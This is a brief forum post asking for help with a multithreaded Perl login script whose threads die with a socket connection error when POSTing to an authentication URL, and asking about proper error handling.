Well monks this one has me stumped, I have been toying with a login script but I keep getting errors like so Thread 4 terminated abnormally: Error POSTing http://account.verydeep.us/auth: Can't connect to account.verydeep.us:80 (An operation was attempted on something that is not a socket.) at homerun.pl line 10764 Now can some one school me on proper error handling to avoid threads terminating and perhaps the initial cause of this error? thanks
